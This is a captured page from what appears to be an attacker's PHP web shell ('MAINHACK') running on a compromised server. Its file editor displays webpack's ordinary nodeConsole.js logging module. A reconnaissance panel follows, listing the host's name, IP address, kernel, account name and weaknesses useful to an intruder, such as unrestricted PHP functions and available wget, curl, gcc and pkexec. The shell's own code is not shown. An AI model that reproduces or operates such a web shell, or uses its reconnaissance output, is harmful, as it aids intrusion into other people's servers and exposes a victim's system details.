[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: nodeConsole.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const util = require("util"); const truncateArgs = require("../logging/truncateArgs"); module.exports = ({ colors, appendOnly, stream }) => { let currentStatusMessage = undefined; let hasStatusMessage = false; let currentIndent = ""; let currentCollapsed = 0; const indent = (str, prefix, colorPrefix, colorSuffix) => { if (str === "") return str; prefix = currentIndent + prefix; if (colors) { return ( prefix + colorPrefix + str.replace(/\n/g, colorSuffix + "\n" + prefix + colorPrefix) + colorSuffix ); } else { return prefix + str.replace(/\n/g, "\n" + prefix); } }; const clearStatusMessage = () => { if (hasStatusMessage) { stream.write("\x1b[2K\r"); hasStatusMessage = false; } }; const writeStatusMessage = () => { if (!currentStatusMessage) return; const l = stream.columns; const args = l ? truncateArgs(currentStatusMessage, l - 1) : currentStatusMessage; const str = args.join(" "); const coloredStr = `\u001b[1m${str}\u001b[39m\u001b[22m`; stream.write(`\x1b[2K\r${coloredStr}`); hasStatusMessage = true; }; const writeColored = (prefix, colorPrefix, colorSuffix) => { return (...args) => { if (currentCollapsed > 0) return; clearStatusMessage(); const str = indent( util.format(...args), prefix, colorPrefix, colorSuffix ); stream.write(str + "\n"); writeStatusMessage(); }; }; const writeGroupMessage = writeColored( "<-> ", "\u001b[1m\u001b[36m", "\u001b[39m\u001b[22m" ); const writeGroupCollapsedMessage = writeColored( "<+> ", "\u001b[1m\u001b[36m", "\u001b[39m\u001b[22m" ); return { log: writeColored(" ", "\u001b[1m", "\u001b[22m"), debug: writeColored(" ", "", ""), trace: writeColored(" ", "", ""), info: writeColored("<i> ", "\u001b[1m\u001b[32m", "\u001b[39m\u001b[22m"), warn: writeColored("<w> ", "\u001b[1m\u001b[33m", "\u001b[39m\u001b[22m"), error: writeColored("<e> ", "\u001b[1m\u001b[31m", "\u001b[39m\u001b[22m"), logTime: writeColored( "<t> ", "\u001b[1m\u001b[35m", "\u001b[39m\u001b[22m" ), group: (...args) => { writeGroupMessage(...args); if (currentCollapsed > 0) { currentCollapsed++; } else { currentIndent += " "; } }, groupCollapsed: (...args) => { writeGroupCollapsedMessage(...args); currentCollapsed++; }, groupEnd: () => { if (currentCollapsed > 0) currentCollapsed--; else if (currentIndent.length >= 2) currentIndent = currentIndent.slice(0, currentIndent.length - 2); }, // eslint-disable-next-line node/no-unsupported-features/node-builtins profile: console.profile && (name => console.profile(name)), // eslint-disable-next-line node/no-unsupported-features/node-builtins profileEnd: console.profileEnd && (name => console.profileEnd(name)), clear: !appendOnly && // eslint-disable-next-line node/no-unsupported-features/node-builtins console.clear && (() => { clearStatusMessage(); // eslint-disable-next-line node/no-unsupported-features/node-builtins console.clear(); writeStatusMessage(); }), status: appendOnly ? writeColored("<s> ", "", "") : (name, ...args) => { args = args.filter(Boolean); if (name === undefined && args.length === 0) { clearStatusMessage(); currentStatusMessage = undefined; } else if ( typeof name === "string" && name.startsWith("[webpack.Progress] ") ) { currentStatusMessage = [name.slice(19), ...args]; writeStatusMessage(); } else if (name === "[webpack.Progress]") { currentStatusMessage = [...args]; writeStatusMessage(); } else { currentStatusMessage = [name, ...args]; writeStatusMessage(); } } }; };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002